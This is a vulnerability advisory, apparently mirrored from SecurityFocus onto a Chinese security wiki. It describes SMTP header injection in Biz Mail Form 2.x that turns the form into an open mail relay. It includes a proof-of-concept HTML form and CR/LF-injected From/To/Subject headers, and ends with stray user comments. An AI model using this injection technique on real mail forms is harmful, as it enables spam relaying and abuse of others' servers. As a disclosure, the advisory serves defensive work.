source: http://www.securityfocus.com/bid/12620/info
Biz Mail Form is prone to a vulnerability that allows the application to be abused as a mail relay.
An attacker can exploit this issue to inject arbitrary SMTP headers by using CR and LF sequences.
If successful, it becomes possible to abuse the application as a mail relay. Email may be sent to arbitrary computers. This could be exploited by spammers or other malicious parties.
Update: It is reported that the update to address this issue (Biz Mail Form 2.2) is vulnerable to this issue as well. The affected version is being added as a vulnerable package and the fixes are being removed.
<HTML>
<HEAD> <TITLE>Exploit Test Page</TITLE> </HEAD>
<BODY>
<form action="http://www.example.com/cgi-bin/bizmail/bizmail.cgi"
method="POST" name="Subscribe">
<TEXTAREA rows="5" name="email"></textarea>
<INPUT TYPE="submit" VALUE="Submit" class="submit">
</FORM> </BODY> </HTML>
In the textbox that pops up, enter in the following (begin by hitting
enter to insert a blank line)
From:[email protected]
To:[email protected]
Subject:Exploit Test
This is a test
Click submit. You'll receive an email from the bizmail script, but
you won't receive the normal contact email. You can check the .dat
file and see a copy of what you sent.
![图片[1]-Biz Mail Form 2.x – Unauthorized Mail Relay-安全小百科](https://p0.ssl.qhimg.com/dr/29_50_100/t01bbbb9ac447dabd6a.png)
CVE编号
![图片[2]-Biz Mail Form 2.x – Unauthorized Mail Relay-安全小百科](https://p0.ssl.qhimg.com/dr/29_150_100/t01cd54df57948e31ea.png)
CNNVD-ID
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666